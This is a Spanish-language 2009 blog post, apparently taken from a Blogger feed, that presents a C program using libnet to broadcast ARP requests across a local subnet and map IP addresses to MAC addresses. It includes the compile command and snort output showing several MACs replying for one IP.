src='http://3.bp.blogspot.com/_1zYIthtq7IY/SWQG8OnczqI/AAAAAAAAAAM/X18Y-tVPjTw/S220/ojo8080li7.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3462995030631123680.post-3469681292145436140</id><published>2009-03-08T10:03:00.001-06:00</published><updated>2009-03-08T10:03:42.005-06:00</updated><title type='text'>libnet: Consultas ARP</title><content type='html'>Bueno anteriormente en un post &lt;a href="http://foro.elhacker.net/hacking_basico/consultas_rarp-t165135.0.html" target="_blank" class="posted"&gt;Consultas RARP&lt;/a&gt; estaba buscando un programa para saber que IP tenia determinada Dirección MAC, ya que dicha dirección la había observado un dia antes y ese dia ya no aparecía en los escaneos de nmap.&lt;br&gt;&lt;br&gt;Pues buscando no encontré un programa para realizar dicho trabajo después de un tiempo decidí hacer yo mismo dicha aplicación usando libnet, y pues aplicar un poco de fuerza bruta.&lt;br&gt;&lt;br&gt;Escanee todo el rango de direcciones de la red y logre mi objetivo, sin embargo descubrí que mas de una misma maquina tenia dicha IP todo esto en el mismo Segmento, cosa que podría crear conflictos. Sin embargo después de analizarlo un poco supuse que era para equilibrar la carga de salido o algo así.&lt;br&gt;&lt;br&gt;El siguiente código escanea un rango especifico de red (Ingresado manualmente) y las respuesta de momento las vemos usando snort o wireshark despues lo reprogramare para usar libpcap y capturar las respuestas&lt;br&gt;&lt;br&gt;&lt;b&gt;arpscan.c&lt;/b&gt;&lt;br&gt;&lt;div class="codeheader"&gt;Código&lt;/div&gt;&lt;pre class="geshi"&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;#include&amp;lt;libnet.h&amp;gt;&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;#include&amp;lt;stdio.h&amp;gt; &lt;/span&gt;&lt;br&gt;  &lt;br&gt;&lt;span style="color: rgb(153, 51, 51);"&gt;int&lt;/span&gt; main&lt;span style="color: rgb(0, 153, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(153, 51, 51);"&gt;void&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;)&lt;/span&gt;  &lt;span style="color: rgb(0, 153, 0);"&gt;{&lt;/span&gt;&lt;br&gt;         &lt;span style="color: rgb(153, 51, 51);"&gt;int&lt;/span&gt; n;&lt;br&gt;        u_int8_t c;                                                     &lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;//contador&lt;/span&gt;&lt;br&gt;        u_int32_t src_ip;                                               &lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;// Para nuestra direccion  IP&lt;/span&gt;&lt;br&gt;         u_int8_t &lt;span style="color: rgb(51, 153, 51);"&gt;*&lt;/span&gt;dts_ip;                                               &lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;// Para la direccion IP Destino&lt;/span&gt;&lt;br&gt;         libnet_t &lt;span style="color: rgb(51, 153, 51);"&gt;*&lt;/span&gt;l;                                                    &lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;// The libnet context&lt;/span&gt;&lt;br&gt;        libnet_ptag_t t&lt;span style="color: rgb(51, 153, 51);"&gt;=&lt;/span&gt;&lt;span style="color: rgb(204, 102, 204);"&gt;0&lt;/span&gt;,arp &lt;span style="color: rgb(51, 153, 51);"&gt;=&lt;/span&gt; &lt;span style="color: rgb(204, 102, 204);"&gt;0&lt;/span&gt;;                                      &lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;// ptag&lt;/span&gt;&lt;br&gt;         &lt;span style="color: rgb(153, 51, 51);"&gt;char&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;*&lt;/span&gt;device &lt;span style="color: rgb(51, 153, 51);"&gt;=&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;NULL&lt;/span&gt;;                                            &lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;//Primera Interfas de Red ~Sup~T que se pueda encontrar&lt;/span&gt;&lt;br&gt;         u_int8_t &lt;span style="color: rgb(51, 153, 51);"&gt;*&lt;/span&gt;packet;                                               &lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;//Apuntador al Paquete&lt;/span&gt;&lt;br&gt;        u_int32_t packet_s;                                             &lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;//Packet Size&lt;/span&gt;&lt;br&gt;         u_char difucion&lt;span style="color: rgb(0, 153, 0);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(204, 102, 204);"&gt;6&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;]&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;=&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0);"&gt;{&lt;/span&gt;0xff, 0xff, 0xff, 0xff, 0xff, 0xff&lt;span style="color: rgb(0, 153, 0);"&gt;}&lt;/span&gt;;      &lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;//Direccion de Destino &amp;quot;Difusion Ethernet&amp;quot;&lt;/span&gt;&lt;br&gt;         u_char zero&lt;span style="color: rgb(0, 153, 0);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(204, 102, 204);"&gt;6&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;]&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;=&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0);"&gt;{&lt;/span&gt;0x0,0x0,0x0,0x0,0x0,0x0&lt;span style="color: rgb(0, 153, 0);"&gt;}&lt;/span&gt;;                     &lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;//Direccion Zero&lt;/span&gt;&lt;br&gt;         &lt;span style="color: rgb(153, 51, 51);"&gt;struct&lt;/span&gt; libnet_ether_addr &lt;span style="color: rgb(51, 153, 51);"&gt;*&lt;/span&gt;origen;                               &lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;//Nuestra MAC&lt;/span&gt;&lt;br&gt;         &lt;span style="color: rgb(153, 51, 51);"&gt;char&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;*&lt;/span&gt;lib_error &lt;span style="color: rgb(51, 153, 51);"&gt;=&lt;/span&gt; malloc&lt;span style="color: rgb(0, 153, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(153, 51, 51);"&gt;sizeof&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(153, 51, 51);"&gt;char&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;)&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;*&lt;/span&gt;LIBNET_ERRBUF_SIZE&lt;span style="color: rgb(0, 153, 0);"&gt;)&lt;/span&gt;;      &lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;//Reservamos Memoria para los mensajes de Errores&lt;/span&gt;&lt;br&gt;         dts_ip &lt;span style="color: rgb(51, 153, 51);"&gt;=&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0);"&gt;(&lt;/span&gt;u_int8_t&lt;span style="color: rgb(51, 153, 51);"&gt;*&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;)&lt;/span&gt; malloc&lt;span style="color: rgb(0, 153, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(153, 51, 51);"&gt;sizeof&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;(&lt;/span&gt;u_int8_t&lt;span style="color: rgb(0, 153, 0);"&gt;)&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;*&lt;/span&gt;&lt;span style="color: rgb(204, 102, 204);"&gt;4&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;)&lt;/span&gt;;&lt;br&gt;         dts_ip&lt;span style="color: rgb(0, 153, 0);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(204, 102, 204);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;]&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;=&lt;/span&gt; &lt;span style="color: rgb(204, 102, 204);"&gt;192&lt;/span&gt;;&lt;br&gt;         dts_ip&lt;span style="color: rgb(0, 153, 0);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(204, 102, 204);"&gt;1&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;]&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;=&lt;/span&gt; &lt;span style="color: rgb(204, 102, 204);"&gt;168&lt;/span&gt;;&lt;br&gt;         dts_ip&lt;span style="color: rgb(0, 153, 0);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(204, 102, 204);"&gt;2&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;]&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;=&lt;/span&gt; &lt;span style="color: rgb(204, 102, 204);"&gt;1&lt;/span&gt;;&lt;br&gt;         l &lt;span style="color: rgb(51, 153, 51);"&gt;=&lt;/span&gt; libnet_init&lt;span style="color: rgb(0, 153, 0);"&gt;(&lt;/span&gt;&lt;br&gt;                LIBNET_LINK_ADV,                        &lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;//injection type&lt;/span&gt;&lt;br&gt;                 device,                                 &lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;//network interface&lt;/span&gt;&lt;br&gt;                lib_error&lt;span style="color: rgb(0, 153, 0);"&gt;)&lt;/span&gt;;                             &lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;//errbuf&lt;/span&gt;&lt;br&gt;  &lt;br&gt;        &lt;span style="color: rgb(177, 177, 0);"&gt;if&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0);"&gt;(&lt;/span&gt;l &lt;span style="color: rgb(51, 153, 51);"&gt;==&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;NULL&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;)&lt;/span&gt;  &lt;span style="color: rgb(0, 153, 0);"&gt;{&lt;/span&gt;&lt;br&gt;                 fprintf&lt;span style="color: rgb(0, 153, 0);"&gt;(&lt;/span&gt;stderr, &lt;span style="color: rgb(255, 0, 0);"&gt;&amp;quot;libnet_init(): %s&amp;quot;&lt;/span&gt;, lib_error&lt;span style="color: rgb(0, 153, 0);"&gt;)&lt;/span&gt;;&lt;br&gt;                exit&lt;span style="color: rgb(0, 153, 0);"&gt;(&lt;/span&gt;EXIT_FAILURE&lt;span style="color: rgb(0, 153, 0);"&gt;)&lt;/span&gt;;&lt;br&gt;         &lt;span style="color: rgb(0, 153, 0);"&gt;}&lt;/span&gt;&lt;br&gt;        src_ip &lt;span style="color: rgb(51, 153, 51);"&gt;=&lt;/span&gt; libnet_get_ipaddr4&lt;span style="color: rgb(0, 153, 0);"&gt;(&lt;/span&gt;l&lt;span style="color: rgb(0, 153, 0);"&gt;)&lt;/span&gt;;                 &lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;//Obtenemos Direccion IP&lt;/span&gt;&lt;br&gt;         origen &lt;span style="color: rgb(51, 153, 51);"&gt;=&lt;/span&gt; libnet_get_hwaddr&lt;span style="color: rgb(0, 153, 0);"&gt;(&lt;/span&gt;l&lt;span style="color: rgb(0, 153, 0);"&gt;)&lt;/span&gt;;                  &lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;//Obtenetmos Nuestra MAC&lt;/span&gt;&lt;br&gt;         c &lt;span style="color: rgb(51, 153, 51);"&gt;=&lt;/span&gt; &lt;span style="color: rgb(204, 102, 204);"&gt;1&lt;/span&gt;;&lt;br&gt;        &lt;span style="color: rgb(177, 177, 0);"&gt;while&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;(&lt;/span&gt;c&amp;lt;&lt;span style="color: rgb(204, 102, 204);"&gt;255&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;)&lt;/span&gt;    &lt;span style="color: rgb(0, 153, 0);"&gt;{&lt;/span&gt;&lt;br&gt;                 dts_ip&lt;span style="color: rgb(0, 153, 0);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(204, 102, 204);"&gt;3&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;]&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;=&lt;/span&gt; c;&lt;br&gt;                arp &lt;span style="color: rgb(51, 153, 51);"&gt;=&lt;/span&gt; libnet_build_arp&lt;span style="color: rgb(0, 153, 0);"&gt;(&lt;/span&gt;&lt;br&gt;                         ARPHRD_ETHER,                   &lt;span style="color: rgb(128, 128, 128); font-style: italic;"&gt;/* hardware addr */&lt;/span&gt;&lt;br&gt;                        ETHERTYPE_IP,                   &lt;span style="color: rgb(128, 128, 128); font-style: italic;"&gt;/* protocol addr */&lt;/span&gt;&lt;br&gt;                         &lt;span style="color: rgb(204, 102, 204);"&gt;6&lt;/span&gt;,                              &lt;span style="color: rgb(128, 128, 128); font-style: italic;"&gt;/* hardware addr size */&lt;/span&gt;&lt;br&gt;                        &lt;span style="color: rgb(204, 102, 204);"&gt;4&lt;/span&gt;,                              &lt;span style="color: rgb(128, 128, 128); font-style: italic;"&gt;/* protocol addr size */&lt;/span&gt;&lt;br&gt;                         ARPOP_REQUEST,                  &lt;span style="color: rgb(128, 128, 128); font-style: italic;"&gt;/* operation type */&lt;/span&gt;&lt;br&gt;                        origen&lt;span style="color: rgb(51, 153, 51);"&gt;-&lt;/span&gt;&amp;gt;ether_addr_octet,       &lt;span style="color: rgb(128, 128, 128); font-style: italic;"&gt;/* sender hardware addr */&lt;/span&gt;&lt;br&gt;                         &lt;span style="color: rgb(0, 153, 0);"&gt;(&lt;/span&gt;u_int8_t &lt;span style="color: rgb(51, 153, 51);"&gt;*&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;)&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;&amp;amp;&lt;/span&gt;src_ip,            &lt;span style="color: rgb(128, 128, 128); font-style: italic;"&gt;/* sender protocol addr */&lt;/span&gt;&lt;br&gt;                         zero,                   	&lt;span style="color: rgb(128, 128, 128); font-style: italic;"&gt;/* target hardware addr */&lt;/span&gt;&lt;br&gt;                        dts_ip,                         &lt;span style="color: rgb(128, 128, 128); font-style: italic;"&gt;/* target protocol addr */&lt;/span&gt;&lt;br&gt;                         &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;NULL&lt;/span&gt;,                           &lt;span style="color: rgb(128, 128, 128); font-style: italic;"&gt;/* payload */&lt;/span&gt;&lt;br&gt;                        &lt;span style="color: rgb(204, 102, 204);"&gt;0&lt;/span&gt;,                              &lt;span style="color: rgb(128, 128, 128); font-style: italic;"&gt;/* payload size */&lt;/span&gt;&lt;br&gt;                         l,                              &lt;span style="color: rgb(128, 128, 128); font-style: italic;"&gt;/* libnet context */&lt;/span&gt;&lt;br&gt;                        arp&lt;span style="color: rgb(0, 153, 0);"&gt;)&lt;/span&gt; ;                          &lt;span style="color: rgb(128, 128, 128); font-style: italic;"&gt;/* libnet id */&lt;/span&gt;&lt;br&gt;                 &lt;span style="color: rgb(177, 177, 0);"&gt;if&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;(&lt;/span&gt;arp&lt;span style="color: rgb(51, 153, 51);"&gt;==&lt;/span&gt;&lt;span style="color: rgb(204, 102, 204);"&gt;-1&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;)&lt;/span&gt;     &lt;span style="color: rgb(0, 153, 0);"&gt;{&lt;/span&gt;&lt;br&gt;                         fprintf&lt;span style="color: rgb(0, 153, 0);"&gt;(&lt;/span&gt;stderr,&lt;span style="color: rgb(255, 0, 0);"&gt;&amp;quot;libnet_build_arp(): %s&amp;quot;&lt;/span&gt;,libnet_geterror&lt;span style="color: rgb(0, 153, 0);"&gt;(&lt;/span&gt;l&lt;span style="color: rgb(0, 153, 0);"&gt;)&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;)&lt;/span&gt;;&lt;br&gt;                         &lt;span style="color: rgb(177, 177, 0);"&gt;goto&lt;/span&gt; bad;&lt;br&gt;                &lt;span style="color: rgb(0, 153, 0);"&gt;}&lt;/span&gt;&lt;br&gt;                t &lt;span style="color: rgb(51, 153, 51);"&gt;=&lt;/span&gt; libnet_build_ethernet&lt;span style="color: rgb(0, 153, 0);"&gt;(&lt;/span&gt;&lt;br&gt;                         difucion,&lt;br&gt;                        zero,&lt;br&gt;                        ETHERTYPE_ARP,&lt;br&gt;                        &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;NULL&lt;/span&gt;,&lt;br&gt;                        &lt;span style="color: rgb(204, 102, 204);"&gt;0&lt;/span&gt;,&lt;br&gt;                         l,&lt;br&gt;                        t&lt;span style="color: rgb(0, 153, 0);"&gt;)&lt;/span&gt;;&lt;br&gt;                &lt;span style="color: rgb(177, 177, 0);"&gt;if&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;(&lt;/span&gt;t&lt;span style="color: rgb(51, 153, 51);"&gt;==&lt;/span&gt;&lt;span style="color: rgb(204, 102, 204);"&gt;-1&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;)&lt;/span&gt;       &lt;span style="color: rgb(0, 153, 0);"&gt;{&lt;/span&gt;&lt;br&gt;                         fprintf&lt;span style="color: rgb(0, 153, 0);"&gt;(&lt;/span&gt;stderr,&lt;span style="color: rgb(255, 0, 0);"&gt;&amp;quot;libnet_build_ethernet(): %s&amp;quot;&lt;/span&gt;,libnet_geterror&lt;span style="color: rgb(0, 153, 0);"&gt;(&lt;/span&gt;l&lt;span style="color: rgb(0, 153, 0);"&gt;)&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;)&lt;/span&gt;;&lt;br&gt;                         &lt;span style="color: rgb(177, 177, 0);"&gt;goto&lt;/span&gt; bad;&lt;br&gt;                &lt;span style="color: rgb(0, 153, 0);"&gt;}&lt;/span&gt;&lt;br&gt;                &lt;span style="color: rgb(177, 177, 0);"&gt;if&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;(&lt;/span&gt;libnet_adv_cull_packet&lt;span style="color: rgb(0, 153, 0);"&gt;(&lt;/span&gt;l,&lt;span style="color: rgb(51, 153, 51);"&gt;&amp;amp;&lt;/span&gt;packet,&lt;span style="color: rgb(51, 153, 51);"&gt;&amp;amp;&lt;/span&gt;packet_s&lt;span style="color: rgb(0, 153, 0);"&gt;)&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;==&lt;/span&gt;&lt;span style="color: rgb(204, 102, 204);"&gt;-1&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;)&lt;/span&gt;     &lt;span style="color: rgb(0, 153, 0);"&gt;{&lt;/span&gt;&lt;br&gt;                         fprintf&lt;span style="color: rgb(0, 153, 0);"&gt;(&lt;/span&gt;stderr,&lt;span style="color: rgb(255, 0, 0);"&gt;&amp;quot;libnet_adv_cull_packet(): %s&amp;quot;&lt;/span&gt;,libnet_geterror&lt;span style="color: rgb(0, 153, 0);"&gt;(&lt;/span&gt;l&lt;span style="color: rgb(0, 153, 0);"&gt;)&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;)&lt;/span&gt;;&lt;br&gt;                 &lt;span style="color: rgb(0, 153, 0);"&gt;}&lt;/span&gt;&lt;br&gt;                &lt;span style="color: rgb(177, 177, 0);"&gt;else&lt;/span&gt;    &lt;span style="color: rgb(0, 153, 0);"&gt;{&lt;/span&gt;&lt;br&gt;                        fprintf&lt;span style="color: rgb(0, 153, 0);"&gt;(&lt;/span&gt;stderr,&lt;span style="color: rgb(255, 0, 0);"&gt;&amp;quot;Packet size: %d&lt;span style="color: rgb(0, 0, 153); font-weight: bold;"&gt;\n&lt;/span&gt;&amp;quot;&lt;/span&gt;,packet_s&lt;span style="color: rgb(0, 153, 0);"&gt;)&lt;/span&gt;;&lt;br&gt;                         libnet_adv_free_packet&lt;span style="color: rgb(0, 153, 0);"&gt;(&lt;/span&gt;l,packet&lt;span style="color: rgb(0, 153, 0);"&gt;)&lt;/span&gt;;&lt;br&gt;                &lt;span style="color: rgb(0, 153, 0);"&gt;}&lt;/span&gt;&lt;br&gt;                &lt;span style="color: rgb(177, 177, 0);"&gt;if&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;(&lt;/span&gt;n&lt;span style="color: rgb(51, 153, 51);"&gt;=&lt;/span&gt;libnet_write&lt;span style="color: rgb(0, 153, 0);"&gt;(&lt;/span&gt;l&lt;span style="color: rgb(0, 153, 0);"&gt;)&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;)&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;==&lt;/span&gt; &lt;span style="color: rgb(204, 102, 204);"&gt;-1&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;)&lt;/span&gt;    &lt;span style="color: rgb(0, 153, 0);"&gt;{&lt;/span&gt;&lt;br&gt;                         fprintf&lt;span style="color: rgb(0, 153, 0);"&gt;(&lt;/span&gt;stderr,&lt;span style="color: rgb(255, 0, 0);"&gt;&amp;quot;Write error: %s&lt;span style="color: rgb(0, 0, 153); font-weight: bold;"&gt;\n&lt;/span&gt;&amp;quot;&lt;/span&gt;,libnet_geterror&lt;span style="color: rgb(0, 153, 0);"&gt;(&lt;/span&gt;l&lt;span style="color: rgb(0, 153, 0);"&gt;)&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;)&lt;/span&gt;;&lt;br&gt;                         &lt;span style="color: rgb(177, 177, 0);"&gt;goto&lt;/span&gt; bad;&lt;br&gt;                &lt;span style="color: rgb(0, 153, 0);"&gt;}&lt;/span&gt;&lt;br&gt;                &lt;span style="color: rgb(177, 177, 0);"&gt;else&lt;/span&gt;    &lt;span style="color: rgb(0, 153, 0);"&gt;{&lt;/span&gt;&lt;br&gt;                         fprintf&lt;span style="color: rgb(0, 153, 0);"&gt;(&lt;/span&gt;stderr,&lt;span style="color: rgb(255, 0, 0);"&gt;&amp;quot;Wrote %d bytes ARP packet from context %s check the wire&lt;span style="color: rgb(0, 0, 153); font-weight: bold;"&gt;\n&lt;/span&gt;&amp;quot;&lt;/span&gt;,n,libnet_cq_getlabel&lt;span style="color: rgb(0, 153, 0);"&gt;(&lt;/span&gt;l&lt;span style="color: rgb(0, 153, 0);"&gt;)&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;)&lt;/span&gt;;&lt;br&gt;                 &lt;span style="color: rgb(0, 153, 0);"&gt;}&lt;/span&gt;&lt;br&gt;                c&lt;span style="color: rgb(51, 153, 51);"&gt;++&lt;/span&gt;;&lt;br&gt;        &lt;span style="color: rgb(0, 153, 0);"&gt;}&lt;/span&gt;&lt;br&gt;        libnet_destroy&lt;span style="color: rgb(0, 153, 0);"&gt;(&lt;/span&gt;l&lt;span style="color: rgb(0, 153, 0);"&gt;)&lt;/span&gt;;&lt;br&gt;         &lt;span style="color: rgb(177, 177, 0);"&gt;return&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;(&lt;/span&gt;EXIT_SUCCESS&lt;span style="color: rgb(0, 153, 0);"&gt;)&lt;/span&gt;;&lt;br&gt;        bad&lt;span style="color: rgb(51, 153, 51);"&gt;:&lt;/span&gt;&lt;br&gt;         libnet_destroy&lt;span style="color: rgb(0, 153, 0);"&gt;(&lt;/span&gt;l&lt;span style="color: rgb(0, 153, 0);"&gt;)&lt;/span&gt;;&lt;br&gt;        &lt;span style="color: rgb(177, 177, 0);"&gt;return&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;(&lt;/span&gt;EXIT_SUCCESS&lt;span style="color: rgb(0, 153, 0);"&gt;)&lt;/span&gt;;&lt;br&gt; &lt;span style="color: rgb(0, 153, 0);"&gt;}&lt;/span&gt;&lt;br&gt; &lt;/pre&gt;&lt;br&gt;Despues de compilarlo:&lt;br&gt;&lt;br&gt;&lt;div class="codeheader"&gt;Código&lt;/div&gt;&lt;pre class="geshi"&gt;Anon&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;@&lt;/span&gt;localhost&lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;# gcc -Wall `libnet113-config --defines` arpscan.c -o arpscan `libnet113-config --libs` -I /usr/local/include/libnet113/&lt;/span&gt;&lt;br&gt;  &lt;/pre&gt;&lt;br&gt;ejecutamos y vemos que la salida de snort nos devuelve el resultado deceado&lt;br&gt;&lt;br&gt;&lt;div class="quoteheader"&gt;Citar&lt;/div&gt;&lt;div class="quote"&gt;06/11-09:58:29.910702 ARP who-has 192.168.5.1 tell 192.168.5.238&lt;br&gt;06/11-09:58:29.910914 ARP reply 192.168.5.1 is-at 0:3:47:B0:F9:C1&lt;br&gt; 06/11-09:58:29.910919 ARP reply 192.168.5.1 is-at 0:30:F1:53:91:93&lt;br&gt;06/11-09:58:29.911008 ARP reply 192.168.5.1 is-at 0:50:FC:B6:F4:26&lt;br&gt;06/11-09:58:29.911012 ARP reply 192.168.5.1 is-at 0:B:CD:C5:5C:3F&lt;br&gt;06/11-09:58:29.912326 ARP who-has 192.168.5.2 tell 192.168.5.238&lt;br&gt; 06/11-09:58:29.919400 ARP who-has 192.168.5.3 tell 192.168.5.238&lt;br&gt;06/11-09:58:29.919442 ARP who-has 192.168.5.4 tell 192.168.5.238&lt;br&gt;06/11-09:58:29.919471 ARP who-has 192.168.5.5 tell 192.168.5.238&lt;br&gt;06/11-09:58:29.919499 ARP who-has 192.168.5.6 tell 192.168.5.238&lt;br&gt; 06/11-09:58:29.919528 ARP who-has 192.168.5.7 tell 192.168.5.238&lt;br&gt;06/11-09:58:29.919557 ARP who-has 192.168.5.8 tell 192.168.5.238&lt;br&gt;06/11-09:58:29.919585 ARP who-has 192.168.5.9 tell 192.168.5.238&lt;br&gt;06/11-09:58:29.919614 ARP who-has 192.168.5.10 tell 192.168.5.238&lt;br&gt; 06/11-09:58:29.919642 ARP who-has 192.168.5.11 tell 192.168.5.238&lt;br&gt;06/11-09:58:29.919670 ARP who-has 192.168.5.12 tell 192.168.5.238&lt;br&gt;06/11-09:58:29.919751 ARP who-has 192.168.5.13 tell 192.168.5.238&lt;br&gt;06/11-09:58:29.919762 ARP reply 192.168.5.8 is-at 0:D:61:3F:2D:77&lt;br&gt; 06/11-09:58:29.919843 ARP reply 192.168.5.11 is-at 0:20:ED:1D:89:6B&lt;br&gt;06/11-09:58:29.919882 ARP who-has 192.168.5.14 tell 192.168.5.238&lt;br&gt;06/11-09:58:29.919910 ARP who-has 192.168.5.15 tell 192.168.5.238&lt;br&gt;06/11-09:58:29.920393 ARP reply 192.168.5.14 is-at B6:7C:AE:85:11:0&lt;br&gt; 06/11-09:58:29.927297 ARP who-has 192.168.5.16 tell 192.168.5.238&lt;br&gt;06/11-09:58:29.932246 ARP who-has 192.168.5.17 tell 192.168.5.238&lt;br&gt;06/11-09:58:29.951634 ARP who-has 192.168.5.18 tell 192.168.5.238&lt;br&gt;06/11-09:58:29.952942 ARP who-has 192.168.5.19 tell 192.168.5.238&lt;br&gt; 06/11-09:58:29.953077 ARP reply 192.168.5.19 is-at 0:11:85:AE:8C:D&lt;br&gt;&lt;/div&gt;&lt;br&gt;En mi caso esa ocacion ecnontre dicha mac y si era la IP que el dia anterior, pero como mencione decubri que existian 4 Direcciones MAC con la misma Direccion IP&lt;br&gt;&lt;br&gt;&lt;div class="quoteheader"&gt;Citar&lt;/div&gt;&lt;div class="quote"&gt;&lt;b&gt;06/11-09:58:29.910702 ARP who-has 192.168.5.1 tell 192.168.5.238&lt;br&gt;06/11-09:58:29.910914 ARP reply 192.168.5.1 is-at 0:3:47:B0:F9:C1&lt;br&gt; 06/11-09:58:29.910919 ARP reply 192.168.5.1 is-at 0:30:F1:53:91:93&lt;br&gt;06/11-09:58:29.911008 ARP reply 192.168.5.1 is-at 0:50:FC:B6:F4:26&lt;br&gt;06/11-09:58:29.911012 ARP reply 192.168.5.1 is-at 0:B:CD:C5:5C:3F&lt;br&gt;&lt;/b&gt;&lt;/div&gt;&lt;br&gt; Como los equipos siempre responden a ARP, se puede considerar como una petición mucho mejor que el ICMP ya que en ocasiones este es bloqueado por &amp;quot;seguridad&amp;quot;&lt;br&gt;Con lo cual se me ocurrieron muchas ideas, sin embargo eso eso otro tema.&lt;br&gt;&lt;br&gt;Saludos. 				&lt;br&gt;-- &lt;br&gt;- Anon&lt;br&gt;&lt;br&gt; &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3462995030631123680-3469681292145436140?l=stack-and-heap.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://stack-and-heap.blogspot.com/feeds/3469681292145436140/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3462995030631123680&amp;postID=3469681292145436140' title='2 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3462995030631123680/posts/default/3469681292145436140'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3462995030631123680/posts/default/3469681292145436140'/><link rel='alternate' type='text/html' href='http://stack-and-heap.blogspot.com/2009/03/libnet-consultas-arp.html' title='libnet: Consultas ARP'/><author><name>Anon</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' 